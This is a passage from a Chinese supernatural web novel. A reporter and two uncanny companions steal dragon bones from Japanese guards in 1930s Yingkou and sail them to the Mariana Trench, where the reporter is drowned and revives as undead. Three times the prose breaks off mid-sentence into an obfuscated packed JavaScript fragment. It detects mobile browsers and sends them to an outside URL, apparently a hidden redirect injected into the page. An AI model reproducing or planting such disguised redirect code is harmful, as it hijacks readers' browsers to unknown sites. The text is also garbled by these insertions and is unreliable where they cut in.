帆收起来了,用绳子绑住脚,褶皱间依旧能看见补丁的痕迹。颜色不一的木板拼凑在一起,是因为新旧的区别。但陈达年的手艺很好,反倒让突兀的新木板成了船的记号。 周书云爬上船,伸手拍了拍桅杆,然后走向舵机舱。 这艘船不大,甚至可以说有些小,根本不是为远洋而造的。但对周书云而言,即使是这样一艘小船,也足够了。 他从舵机舱内走出来,站在甲板上看了很久,想象着乘风启航的景象。 “怎么样?”船下的陈达年仰着头问。 周书云点点头,喉头上下滚动几次,难掩心中激动:“嗯,挺好,挺好。” “旧是旧了点,但航行能力绝对没问题。” 周书云走下来 “谢谢你,达年。” “对了。”陈达年忽然想起什么,埋头在腰包里翻找,“我有个东西要送给你。” 他拿出来一只罗盘递给周书云:“我猜你肯定没这个东西。” 周书云看着罗盘,一下子就笑了,眼睛有些湿润:“你连这个都帮我想到了。” “什么时候出发?” “明后天吧。” “这么快?”陈达年有些惊讶,“你不陪你奶奶过中秋?” 周书云看上去也有些失落:“可能过不了了,你替我买点月饼回家吧。” 张着嘴沉默半晌,陈达年才红着眼睛回应:“行。” “废话我就不多说了。”他拍拍陈达年,便是最后的招呼了。 7. 夜下血蔷薇 周书云如约来到铁路附近的招待所。 “你好,请问拉姆先生住在哪个房间?” 坐在柜台内的大姐刚吃过饭,正在剔牙,听见周书云的声音从上方传来,抬头瞥了他一眼,朝旁边啐出嘴里卡牙缝的碎菜:“哪个拉姆?” “戴个墨镜。”周书云朝自己脸上比划。 大姐埋头翻翻开登记簿:“啥时候住进来的?” 周书云被问住了,不得已只好说:“至少八号前了。” “三楼,319.” “谢谢。” 周书云飞似的三两阶并做一步奔上楼梯,来到319门前。他深呼吸一口,平了平气息,这才抬起手敲响黄色的木门。 等了片刻里面无人应,他又去一楼前台处问,得知拉姆并没有退房才重新爬回三楼,站在319房门旁边等。 319在走廊最端处,靠里,相对比较清静,与对门320之间正好有扇窗户。窗户位于大楼侧面,不临街,从这里探头看出去,底下是隔壁家属院的大门,不时便有人进出。 窗开着,大风吹进走廊,又添几分海的咸腥。好在倒也凉爽,便不舍得将窗户关起来,仍由它吹。此时天也黑了,大姐提着煤油灯走上来,挂在墙壁上。靠着窗户的周书云回头看了一眼,又再次望向窗外,静静等着拉姆。 拉姆回来时,繁星已是悬天一片,有些晚了。 周书云听见脚步声转头看去,见是他,立刻站直身体:“这么晚啊?” “嗯,去办了点事。” 昏黄的煤油灯下,拉姆慢慢走过来,走廊上回响着他的脚步声。他绑在脑后的头发有些毛乱,衣服从上往下的两颗纽扣敞着,漏出修长的脖子。这副面貌似乎与他从容的气质不符,像是雅致的墨竹图上添了艳红的一笔云,实在格格不入。周书云的眉毛抬了抬,意味深长地盯着他打量起来。 “你去哪儿了?”他的口气里略带几分调侃。 拉姆掏出钥匙打开门,先一步进去,等周书云也进来,才关上门,往里走:“见了位旧识。” 他开门的动作太过行云流水,让周书云不禁有了狐疑:“你是真瞎还是装的?我看你怎么好像一点都不像个瞎子。” 门关上,房间里便仅剩下从窗户照进来的月光,只明亮了房间那一边。周书云与拉姆都站在黑暗里,谁也没有继续往里走。 “船已经准备好了吗?”拉姆问。 “随时可以出发,我就是来和你说这事的。”周书云拿起桌上的火柴盒,拇指往里推开,取出一根来划亮,点燃了煤油灯,“你之前要我帮什么忙?” 拉姆走到床边上,坐下:“再等等。” 周书云提起煤油灯靠近他的脸,弯腰左看一看,右看一看,说道:“我之前以为你是个正经人,没想到也会找乐子。”他扯了扯拉姆敞开的衣襟,“你去见的旧识,是个女人吧。” 拉姆这才注意到自己的衣衫不整,不慌不忙抬起手系扣子:“是个女人。” 他的双手正好在煤油灯下,周书云无意间垂眼一瞥,正准备调侃的话便硬生生憋了回去,脸上的笑也随之僵住:“你受伤了?!手上的污渍……是血?” 拉姆的左手背上有块颜色,在火光之下虽不见鲜艳,却也十分醒目——正是血。 “已经痊愈了。”拉姆站起身,走向窗户边的墙角。那里放置着一个木架,架上的盆子里留有浅浅的水。 拉姆洗干净手,用挂在横木上的毛巾擦去水。 “拉姆,你到底是什么人?”周书云总算问了,“即知道龙,还知道归墟。眼睛看不见,行动却根本不像个瞎子。” 拉姆站在月光里,背对着周书云:“时辰差不多了,我们走吧。” 周书云有些失望,但也没有继续逼问,其一是答案未必是真的,其二是答案他未必能承受。 “去哪儿?” “水产学校。” 终于…… “走!” 龙骨的展出已于大半月前结束了,水产学校的人将其收回教学楼,封存在装有福尔马林的玻璃罐中,以便日后研究。 至于龙肉,从那天之后便再也没出现过。 守门的保安坐在门卫室里,点了一盏煤油灯,伏案奋笔疾书。他若是抬起头来朝窗户外看一眼,便能看见两道鬼鬼祟祟的身影放矮身形,贴着窗户下的墙壁潜进去。 可他没有。 究其原因,是他不必如此。 在龙骨收回来后,日本人便安排了军队巡逻队,昼夜在学校里走动,为的是要守住龙骨,不让别人偷去。 有日军在,哪个不要命的敢进来? 偏偏就有两个。 “进是进来了,可我们去哪儿找龙骨?”周书云悄声问。 他们两人躲在花坛里,日军的两只巡逻队背着刺刀正好在他们眼前交臂而过。月光下,人影斜长,皮靴的声音在寂静的夜里显得尤为响亮。 拉姆解开立领的纽扣,从衣服里勾出一根挂在他脖子上的红线。随着红线被全部拉出,其上系着的一只铃铛便泠泠作响。周书云头皮一麻,浑身的汗毛都立了起来。 日军听见铃铛声,猛地架好刺刀,一点一点朝他们藏身的地方走来。 “请问……” 山雨欲来之际,日军身后传来一道宛如清泉细雨的女声,轻言软语,十分妩媚。 “诸位可有见过一位戴墨镜的男人?个子高高的,卷头发。” 日军转身,见来的是位美丽女子,立刻放松戒心,收起刺刀,脸上骤然笑开了花。 月光照在她红色旗袍上,勾勒出窈窕婀娜的身姿。如玉一般白皙透亮的皮肤仿佛泛起了一层光,像她身上蒙的薄纱,明明看清了面容的,可不禁令人惋惜看得还不够真切。 “何だ、女か。” “嗯?”女人笑意盈盈的,即使没有听懂也不急,“没有见过么?” “何しにきた?” 领头的日本兵朝女人走近两步,却也不敢贸然上前。想来他也觉得奇怪,怎么会有女人半夜来学校,定是有猫腻。 女人索性不搭理他了,向四周环顾着,抬起右手竖在唇边,喊道:“先生,您在吗?” 虽说是喊,声音却不算大。 “動くな!手を上げろ!” “てめぇ!何しにきた!”领头的日本兵被激怒,亮出刺刀对准女人,话音也高亢许多,“竜骨を盗みにきたか?!” 其他的日本兵听见队长这么喊,也立刻亮出刺刀将女人围在中间。 女人生得实在貌美,盈盈一握的腰身、旗袍缝隙里若隐若现的纤长玉腿,若不是肩负守护龙骨的重任,说不定还能快活一回。直勾勾盯着她的目光里藏着一抹下流的光。她优雅环顾,眼神一下一下落在日本兵的脸上,抬起柳枝般柔软的手臂抚上盘在后脑的发髻,眉目唇角皆是勾着笑,风情又优雅。 她微微张开嘴,舌头舔过侧边长长的尖牙:“我都不急,你们倒还急了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248780|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 此时,周书云已然缓过神来,拧紧眉,踟蹰着要不要出去救她。救,偷龙骨一事定会败露。不救,他又无法眼睁睁看着她被鬼子欺辱。 道德的天秤,一旦将什么放上去了,那便必然是重要之物。 “怎么办?”周书云实在选不出来,只好转头求助拉姆,“鬼子肯定不会放过那位姑娘。我见过太多太多了……” 太多太多的人死在鬼子的刀口下,他想救,可当带血的利刃朝他指来时,又不禁心生退却。最后只能假借写稿,逃避血淋淋的现实。 他是个哑炮。 拉姆平静地取下墨镜,戴在周书云眼睛上:“她是来帮忙的。” 周书云下意识躲闪一下,最终还是仍由拉姆戴上了:“你这是……要做什么?” “你还是别看为好。” 夜晚中的校园已是足够暗了,再叠上一层几乎不透光的墨镜,便是如眼睛被人用手蒙住一般,连身旁的拉姆都看不见了。他颤抖着抬起双手放在墨镜上,想摘下来,可就是一瞬的迟疑,让他屈服于恐惧下,再不敢动。 预想中女子的哭喊求饶没有出现,惨叫的声音刚从喉咙深处涌上来便戛然而止,皮靴在地面上发出一阵短暂的慌乱声后,世界便安静了。唯有蝉虫嘶鸣宣告着时间在流逝。 周书云感觉到身旁的拉姆站起了身,便也想取下墨镜看看发生了什么事。然而他依旧有些不忍,便静静闭上双眼,慢慢将墨镜往上推,忐忑地睁开一只眼。 夜下,只有女人一袭红裙迎立星河下,拿着手帕端庄地擦擦嘴。 “先生。”女人看见拉姆,于是出声唤他。 惊诧不已的周书云情不自禁站起身,揭下墨镜呆呆看着倒在地上没有气息的日军。 地上日军十六人,是两只巡逻的小队。他们个个拿着刺刀背着枪,却连反应都没来得及,就全数躺下了,是死是活不知道。 “这位便是周先生了吧?”女人看向周书云,微微笑道,“您好,希望您没看见什么恐怖的事。” 周书云抬起眼看向站在日军包围中间的女人,不禁后背发凉,只觉得她那笑颜如花的脸在红色旗袍的衬托下,透着无法言说的阴森。 “拉、拉姆。”周书云快步跟上拉姆,躲在他身后。即便眼前这个男人浑身是迷,此刻他也不得不依赖他。 女人将手中沾了血的绣花帕子收在右边侧腰的衣缝处,对周书云笑道:“周先生不必害怕,我……也是中国人,不会害您的。” 周书云鼓气勇气问:“你、你到底是什么人?” “您可以叫我阴女。” “哪、哪个yin?” 阴女嗤地笑起来,上前几步将脸凑近周书云,说:“阴魂不散的阴。” 拉姆取下周书云额头上的墨镜,给自己戴好:“我和周先生去收龙骨,麻烦你放哨了。” “您放心。”阴女取下挂在拉姆胸前的铃铛,绕在自己左手腕上。 周书云贴着拉姆朝教学楼走去,不时回头看看阴女,心中对她的惧怕依然不减:“她对那些日本鬼子做了什么?” “周先生。” “嗯?” “若你还打算活命,就不要再问了。” 周书云从阴女身上收回目光默默看向拉姆,决定不再追问:“只要你是真心带龙骨回龙穴,我就信你。” “龙骨留在陆地,会招来灾祸。” “还有什么比现在更大的灾祸吗……”周书云小声嘟囔。 8. 龙息 从西海岸收起来的龙骨,被日本人放置在水产学校的生物研究室,白天有所谓的专家来研究,到了夜里就锁门。钥匙只有校长和主管的老师一人一把,分管两只锁。其他人,连弄清钥匙长什么样的机会都没有。 而正是在防备如此森严的情况下,拉姆弄到了钥匙。 周书云虽然惊讶,但当拉姆掏出钥匙打开生物研究室的门时,却又觉得一切都是意料之中。 进门后,周书云没敢贸然往里走,先是观察研究室内的陈设,以免碰到不该碰的东西。而拉姆便已然走向陈列柜。陈列柜的旁边放着一只足有半人高、两米长的漆木箱,箱子上还有一把锁。他的动作没有停顿,拿出另一把钥匙开了锁,然后掀起木箱厚重的盖子。 周书云一边慢慢迈步往里走,一边问:“找到了?” “找到了。”拉姆抚摸着木箱的缘口,低头像是对里面的龙骨轻声说,“这便带你回龙穴。” 像是应他这句话,龙骨之上浮现出一道虚影,长长的、蜿蜒的。拉姆也随之抬起头来,像是能看见它一般仰起了脸——这便是周书云眼中的全部了。至于拉姆的眼中又看见了什么,他想,或许自己已然可以猜出一二。 “周先生,可以麻烦你将龙骨拿出来吗?”拉姆朝周书云站立的方向微微侧身,问道。 周书云来到拉姆身边,“可以是可以,但为什么要由我来拿?” 拉姆坦然回答道:“这条龙遗憾太深,我不能碰它。那晚的血水,你也看见了。” 周书云皱了下眉,僵着脖子沉默片刻忽然问:“你们是人吗?我是指人类。” “什么是人?什么才算人?”拉姆说完再次转头面朝木箱。 周书云神情复杂地看了看他,欲言又止,再止,一咬牙,嚼碎了好奇心:“这么多零散的骨头,拿出来我们用什么装?我看,要不连箱子一起抬走吧。” “你将它拿出来,按照它原本的样子摆放在门外走廊上就好。我记得,你画过它的骨架。” 周书云有些惊讶,眼睛看不见的拉姆是怎么知道他画过龙骨? 兴许是感受到周书云的目光,拉姆问道:“怎么了?” “没……”周书云没再多说什么,按照拉姆的意思,将木箱里的骨头全搬到研究室外的走廊上,依照记忆中的模样摆出来。 等他摆好最后一块骨头站起身往后退,正好撞到锁上木箱与大门上的拉姆。拉姆只是没来得及避让。 “需不需要我闭上眼睛?” “如果你愿意的话。” 周书云叹口气,闭上眼睛。 虽是闭上了眼睛,但他不由自主竖起耳朵聆听身边的声音。 咔咔咔。 是骨头的动静,从最初小小的几声,到后面已是多到他来不及数的地步。然后是忽的一阵风从地面吹来,像是什么东西陡然飞起。他终于还是没能忍住,眼睛微微睁开了一条缝。 没有任何连接,没有任何承托,白森森的骨头以一条龙的姿态,如活物般飞在周书云眼前。周书云愕然瞪大双眼看着它,抬手用力掐自己。 是痛的。 “周先生。”拉姆叫了他一声。 他听见了的,耳朵是听见了的,可就是无法做出任何回应。 “周先生。”拉姆轻轻推了他的手臂一下。 “啊?”他如梦初醒般看看拉姆,又再次看向腾飞的龙骨,“我是不是在做梦?” 拉姆没有回答他这个问题:“船在什么地方?” “在……葫芦套……”周书云像是悟了一般惊诧又问,“你要让龙骨自己飞过去?!” “我希望能在今夜出海。”拉姆没能明白周书云为何惊讶,“你怕高吗?” 思考半晌,周书云苦着脸挤出一个字:“怕……” “捂好嘴。” “捂嘴干……哎哎!”周书云尚未弄明白拉姆为什么要让自己捂嘴,便觉得身体一轻,整个人被他单手抓住背后的裤腰给拎起来。 “别出声,会引来日本人。” 周书云立马用双手紧紧捂住自己的嘴,眼中已经有了惧意。。 拉姆似乎正在等他的这个动作,待他捂着嘴惊恐地回头看来后,像是抛树枝般轻松将他扔向空中。 走廊的地面越来越远,继而连栏杆也不在他伸手可触的距离,周书云不可置信地看着淡定的拉姆,悔恨无声滋长——下一刻,龙骨在空中转了个弯,飞来他身下稳稳接住。隔着裤子的布料,生物柔软而强韧的肌肉与包裹在上面的坚硬鳞皮十分真实,好似连深处血脉的鼓动都传了过来。周书云颤颤巍巍伸出一只手,轻轻抚上去。 凉凉的,与蛇很像,又与蛇不同。 他一时间竟有些兴奋,全然完忘记了害怕。 “你先和它上船,我还了钥匙便来。” “嗯……”周书云像在抚摸满满的一箱黄金,痴痴地笑起来。 细长的龙骨架驮着周书云,垂直一跃升上了云中。 拉姆走下教学楼来到阴女身后,递上一块手帕。 阴女蹲在一具日本兵的尸体旁,正慢条斯理掏着什么,往嘴里送。旁边还有几具日本兵的尸体,全是她之前杀的。不过那时候她只是咬断了他们的脖子,并没有立即进行下一步。而此刻,尸体的腹部连同军服一起被撕开,肠子被拉出来扔在地上,血流得到处都是。 浓烈的血腥味被晚风一吹,就散了。 她察觉到身后的气息,仰头将手中最后一块鲜血淋淋的东西放进嘴里,囫囵咽下,舔了舔手指上的血,站起身接过拉姆递来的手帕,清洁自己的脸与手。 “吃好了?”拉姆问。 “好久没吃过人肝了。”阴女像狐狸一样眯起眼,脸上露出满足的神情,“果然还是外面好,我都舍不得回去了。” 拉姆朝离得稍远些的尸体侧过脸:“还剩六个,要带上吗?” 所谓六个,是指还有六具尸体的肝没动过。 阴女歪着脑袋寻思一番,幽幽叹口气:“当今,全世界到处都在死人,不差这六个。” “那走吧,去还钥匙。” 持有钥匙的两个日本人,一个住在学校后面的宿舍楼里,另一个则是有自己的院落。阴女从拉姆手里接过生物研究室的钥匙,弯曲膝盖蹲下身,踩在泥土地上的黑色高跟鞋着力一蹬,身姿轻盈而起,高过了仅有四层的宿舍楼。 她身轻如燕,在空中滞留片刻,从先前偷钥匙时留下的窗口钻进去,将钥匙放回原处。正要走时,她忽然心生一念又停下来,走近床边拿出带血的手帕,弯下腰轻轻提起被子一角,将其放在男人胸前。 这手帕是她自己的,白色丝绸面上绣着红色的蔷薇花,沾了日本兵的血。 “先留你一条性命。”她轻声说道,随后从男人的外套袖口上扯下一个扣子,这才又从窗户离开。 拉姆站在宿舍楼下等,察觉到气流细细涌动便开口问:“遇上麻烦了?” 阴女手心里攥着纽扣,心情看似还不错:“没有,只是……”她轻声呵呵笑起来,没将后话说完。 “没有就好。还剩下一把钥匙。” 是拥有自己院落的校长。 与普通百姓黄土瓦房的院落全然不同,这个日本人所住的地方,足以与地方豪绅的家宅相媲美,不仅有佣人精心打理的花园,房子更是三层高的小洋楼。 拉姆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248781|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将钥匙交给阴女,在大门外等,等了约莫半刻钟她才出来,身上带着一丝血腥味。拉姆猜到定然发生了什么事,但没有再问她。 原本阴女的脸上带着笑,可片刻后就恢复了平静,像是自言自语又像是在询问:“人为什么要自相残杀呢?从古至今,都没长进。” 拉姆稍稍垂下头,想说什么却又忍住了。 循着龙骨上的气息来到葫芦套,天已经蒙蒙亮,海浪不断涌来又退去,摇晃着停靠在码头的帆船。 周书云非常兴奋,又怕被人瞧见,说话的声音便时而高亢时而低沉。龙骨仍是活的,总想一头扎进海里,他双手展开破布跟在它身后追,猛地扑上去将它裹起来。龙骨不愿意,扭动两下挣脱出来,又朝船边跑。 他玩得十分高兴,仿佛又回到无忧无虑的小时候,打从心底笑出来。 “周先生,似乎很开心?” 听见阴女的话音,周书云从甲板上爬起来趴在船舷上,向登船的拉姆和阴女挥挥手:“等你们好久了。怎么样,没有被日本人发现吧?” “谁知道呢。”阴女特意慢下一步,让拉姆先踏上登船的弦桥,这才紧随其后。 周书云还沉浸在兴奋的余韵中,丝毫没有彻夜未眠的疲倦:“我们什么时候出发?” 登上船的拉姆顿了顿,问:“你要和我们一起出海?” “船是我买来的,我不去谁去。再说,你们会开船?” 拉姆沉默了。 周书云朝拉姆歪头一笑,满是得意:“什么时候出发?” “尽早出发。” “行,我去收锚。”周书云迅速跳下船,解开绑在缆柱上的粗麻绳,挽成几圈挂在船边上,俨然一副经验老手的模样。 做记者的时候,他从来没这么生龙活虎过,身体里似有消耗不玩的精力,让他这艘被遗弃在礁石边上的破船再次有了年轻人该有的生气。 这一刻,他忘了对刀枪的恐惧,忘了对死亡的恐惧,满心满眼只有保护了龙骨的骄傲自豪——在他平庸无为的短暂人生里,总算有一件可以称作奇遇的事了。等以后老了,他要讲给自己的儿孙听。 望着广阔无垠的蓝色大海,感受着陌生又熟悉的海风,周书云不禁闭上双眼面带微笑,一只手按住头上的帽子一只手大大地张开。 阴女靠在船舷上托着腮,转头面无表情看了他半晌,问:“周先生心情很好?” 周书云闻声回头看向阴女,随后不好意思地挠挠脸颊:“我很久没出海了,而且还亲眼见到了龙,并要送它回龙穴。简直像是在做梦。你之前去过龙穴吗?” “没有,也没兴趣。” 周书云慢慢向她靠过去,又在一米远的地方停下:“那可是《列子·汤问》里的归墟啊。龙穴……也就是说里面还有活着的龙?” 阴女兴致怏怏地回应:“说不定有呢。” “我潜水很厉害,不知道有没有机会潜下去看看?”周书云试探着打听,跃跃欲试的心思全写在了脸上。 “周先生想看,下去看便是了。反正就算不淹死在海里,回到营口后也会被杀死,不如了个心愿。” 周书云脸上高兴的表情瞬间凝滞,笑意一下子便淡了:“谁说我会被杀?出发前我把一切都安排好了,日本人问起来,报社会证明我是出差。” “那就好。”阴女立即勾唇露出个甜美的笑,“阴女先去休息了。” “等等。”周书云叫住她,垂下眼睛想了想才继续说。“你和拉姆这么厉害,日本人根本不是你们的对手……” 阴女停下脚步回过身,等着他把话说完。 “等回去之后,你们愿不愿意和我一起杀鬼子?” 9. 倒流的海水 阴女噗嗤一声笑了:“就算给你一把枪,你拿得稳么?可千万别瞄错了敌人打伤自己,别人还得找医生救你。” 被姑娘这么嘲笑,周书云的脸立刻涨得通红,可又反驳不了半句。 他承认,他的内心深处是胆小的,即便嘴上总是喊着杂种鬼子,即便笔下总是愤慨讨伐,可当鬼子真的站在他面前,他却从未做出过任何英勇神武的事。被骂了?听不懂。被挑衅?当是狗。即将命丧刺刀下的人哭着伸出颤抖的手向他喊救命,他也只会愣愣看着,拿起笔画下那副惨状。 不是你的错,你救不了他,你看身边那些人,不也全都视而不见吗。他一遍又一遍安慰自己,渐渐的,就不再为此而感到内疚。 他只是个老百姓,又怎么对抗得了鬼子的刀剑火药呢? 错的是小日本。 错的是禽兽不如的小日本。 而他周书云…… 同样是个可恶的人。 “我也想……!”周书云说完这半句立刻咬紧牙,稳了稳情绪才继续,“我也想有抢有火炮,把那群狗日子一下全杀死!让他们再也不敢口出狂言,再也不敢在我的面前抬起头来!见到我……见到中国人就下跪求饶,像狗一样活着!我每天……每时每刻,都在自己的大脑里杀了他们无数次。让他们忏悔、求饶,然后下地狱!” 阴女不经意地勾了下唇角,仰起脸:“风向变了。” 周书云狠狠擦干眼睛里的泪,拿出罗盘看看上面的指针:“不用担心,没有偏航。” “如果有机会……我是说如果——”阴女问,“您的愿望能实现,您想怎么做呢?” 周书云愣了一下,才回答:“只要能实现,我愿意不惜一切代价。不过……我不想牵连我奶奶和陈达年。” 阴女笑起来:“周先生是个好人呢。” 他苦涩地牵动嘴角,勉强算是笑了:“第一次有人这么说。希望你说的不是反话。” 蓝天之上海鸥啼叫着,伴随海浪的声音环绕在船的四周,直至夕阳要来了,才渐渐消失。然后翌日的清晨,又再次出现。 帆船随着海流、随着海风,穿过渤海海峡,驶过黄海、东海,继续一路南行。 马里亚纳海沟就在那前方,就在太平洋。 快到了。 似乎已经能感受到什么,船舱中盘缩成一团的龙骨从破布下抬起脑袋,顺着攀爬的绳网顶开头上船舱的木门,飞到甲板上,面朝两点钟的方向发出无声吼哮。 “偏航了么?” 舵机舱里掌舵的周书云喃喃自语,随后以龙头为准调整好方向。 拉姆走向船头,仿佛一眼便能望见海水东流灌入的万里深沟,即使没有罗盘指引,顺着他的目光也能到达。 “你感觉到了?”他语气平静地对龙骨说。 玉白的龙骨像是回应般,围着拉姆绕了一圈,最后迫不及待朝海沟飞去。船赶不上它的速度,只能缓缓追着那道残影。 周书云从舵机舱中走出来,站在拉姆身边眺望:“就任由它乱跑?万一被往来的船只发现……” “没关系,快到了。”拉姆遥手指向海沟的方向,“那里便是归墟。” 周书云收回目光,看向身旁的拉姆思索一番后,说:“我想问你件事,可以吗?” 拉姆放下抬起的手,顺势扶住船舷:“你想问我归墟是什么?” “古书上只提过几句,说归墟无底,海水倒流,怎么都填不满。又有传说……”周书云悄悄打量拉姆的脸色,“归墟是死亡之地,也是通天之地。” 沉默的拉姆似乎是在犹豫,半分钟后才开口:“很多很多年以前,从天空深处飞来一柄巨大的剑,像流星一样拖着火光穿破云层,笔直插进太平洋。因此,海水全蒸发了,露出底下的海床。之后许多年,天一直在下雨,直到又将大海填满才停。” “是谁的剑?外星人……?” 拉姆摇摇头:“是神的剑。虽说是神的剑,但和马里亚纳的海沟比起来,或许也只是一根针。” “神……的剑。”周书云牵动嘴角。无论再从拉姆嘴里听见任何光怪陆离的话,他大概都不会感到惊讶了。 他明白,那不是他该涉足的领域。 又过半月,船终于航行到马里亚纳海沟不远处。为了避免帆船受水流影响被卷入海中,它停在了这里。 龙骨像只焦急等待的小狗,不停在海面上盘旋,直到拉姆收起墨镜脱下鞋子爬上船舷,一跃入水,它才猛地扎入海中。 周书云探出半个身子趴在船舷上朝海里看,心里十分惋惜自己不能跟过去。 海沟底下长什么样呢?他问过拉姆。 拉姆难得地,在空气中比划起来,描述着神秘的无人之境是何种景色——海床之上突然裂开了一条缝隙延伸向下,缝隙宽窄不一,如悬崖断壁之间的渊谷,狭窄、深邃。两边垂直往下的岩壁光秃秃的,侧面曲折粗糙。任何光都照不到这里,有所生命全都隐藏在无尽的黑暗中。 那里冰冷、深奥、不得探索,是龙最好的栖身之所。 龙与拉姆的身影很快便看不见了,周书云略有不甘地回到船内,心里不禁觉得空寂。龙骨已然送回,那他这次的旅程也结束了,不得不再次回到那个人间地狱。 替拉姆看守衣物的阴女背对着大海高高坐在船舷上,裸着双脚翘起二郎腿,直勾勾盯着周书云的背影:“周先生之后有什么打算?” 周书云低下头苦笑一下,背影看上去比之前还落寞:“还能有什么打算,只能回营口了。” “回去杀鬼子?” 他嘴唇动了动,最终却没能说出一句话。就凭他?根本做不到。 “周先生。”阴女轻盈跳下来,走到周书云身旁,“我想和您确认一下。” “什么事?”周书云疑惑地转头看着她。 阴女静静看着他:“只要能实现愿望,您可以不惜一切代价吗?” 想了片刻,周书云便坚定地点头:“我对狗杂种的恨,就算是死,也会变成诅咒让他们永不超生。” “好,说得好。阴女也愿意帮您。”阴女笑起来。 周书云喜出望外:“当真?如果你愿意出手,那些鬼子还不是——” 他脸上的表情忽然变了。眼中的画面忽然大翻转,本来不探出头就看不见的救生圈,此时却完完整整地出现在他面前,还有船身外颜色不一的木板,以及阴女伸出的手。 是要救他吗? 不,不对。是阴女抚上他的后背,突然一用力,将他推进了海里。 腥咸的海水瞬间淹没周书云高举着想抓住麻绳的手,一点一点将他拖人深海。在海边长大的他原本水性很好,闭气浮潜一分钟也没问题,不过是意外掉进海里,手脚扑腾几下便可以浮出海面的。 可偏偏他浑身动弹不了,顺着倒流的海水不断往下沉,往下沉…… 意识渐渐模糊,眼睛也累得快要合上。而在最后一丝神智消失前,他似乎看见了海沟深处突然睁开的一双眼睛,红色的、发着光的巨大龙眼。 总算是看见活生生的龙了…… ———— 赵义之狠狠倒抽一口气,往后跌坐在地上,胸腔剧烈呼吸着氧气,浑身上下仍然残留着被冰冷海水包裹的感觉。 “怎么个情况?”他不禁自问,随后抬起头来看着那根毛发,“白日梦?” 但很快他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248782|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便否定自己的这个想法。 如果说那是梦,未免也太过真实。更何况,他并不知道馆主的名字,又怎么可能在梦里叫他的名字呢。 赵义之用力拍拍自己的脸颊保持清醒,稳定好呼吸,重新站起来,慢慢走向毛发,再次伸手碰上去。 周书云,这就死了? ———— 公元1934年十月中旬。 帆船随著海浪不断摇晃,耳边是从没间断过的潮水声。 周书云睁开眼,愣愣地盯着万里无云的碧蓝青天,以往觉得刺眼的阳光如今照进他眼里,竟然没有任何不适。 “您醒了。”阴女的脸忽然出现在他眼前,挡住了飞过天空的海鸟,“还认识我吗?” “阴……”喉咙有些发涩,周书云清了清嗓,“咳咳,阴女。” “周先生。”拉姆半跪在他身旁的甲板上,“作为你帮忙的回礼,我已经完成了你的期望。” 完成了……他的期望? 怀着疑问,周书云强撑疲惫的身体坐起身。他的意识仍然有些模糊,思绪完全发挥不了作用,想不起究竟发生了什么事。 阴女微笑着说:“刚开始是这样的,过段时间您便适应了。” “适应什么?”他只能顺着阴女的话问。 “您的身体。” “我的身体?”周书云茫然低下头,看着自己的身体。 十月的太平洋已经不热了,他穿着草鞋,裤脚卷至小腿,身上是宽松的褂子,手臂和双腿都有露在外面的部分。他长得不白,尤其是经过半月的海上航行,身上的皮肤被晒得更黑了——他记得是这样。 然而此时他看见的,却是一双灰青色的腿与手臂,就像……就像死人。 “我的腿……”周书云惊慌地撩开衣裤遮住的部分确认,又使劲搓了搓,直到确认那就是自己真正的肤色才停下,抬起因震惊而显得呆滞的脸,“怎么回事?我怎么会变成这个颜色?” 阴女蹲在周书云的另一侧,笑眯眯地托着脸颊:“您已经死了,还记得么?我将您推进海里,淹死了。” “你、你在胡说什么,我这不是好端端活着吗?”周书云立刻站起身跑到一旁,尽量与他们保持距离,“我、我我是被你推下海了,但我水性很好,怎么会轻易淹死。一定只是晕过去了。” 阴女缓缓站起身,从舵机舱外的木墙上取下挂着的鱼竿,走到船边随意朝海里一抛,钓起条鱼。 周书云不明白她这番举动的用意,便转而问拉姆:“你告诉我,你们在我身上涂了什么?为什么我的皮肤变成了这个颜色?” “什么都没涂。”拉姆疑惑地看向钓鱼的阴女。 “你别吞吞吐吐的!到底是不是个男人!”周书云一怒之下冲上去推了拉姆一把,不等后退的拉姆站稳,又用力推了一把,“你们到底对我做了什么?!说啊!” 海里的鱼上钩了,阴女收杆取下来,将已然无用的鱼竿往旁边一扔,一面走向周书云一面撕开鱼肚子。 微不可察的腥味窜入鼻腔,发怒的周书云像卡住的自行车链条,突然停了下来,体内渐渐涌起一阵炙热,咽喉不受控制地反复吞咽。他转头盯着阴女手里的鱼,神智不由自主受到巨大吸引,再也无暇顾及害怕与愤怒。 “吃吧。”阴女将鲜血淋淋的鱼递到周书云嘴边。 他像头饿狼,抓起鱼塞进嘴里,疯狂啃食,牙齿咬得鱼骨咔咔作响。随着生鱼肉进入腹中,他的皮肤终于变回了原有的颜色——正常人的颜色。 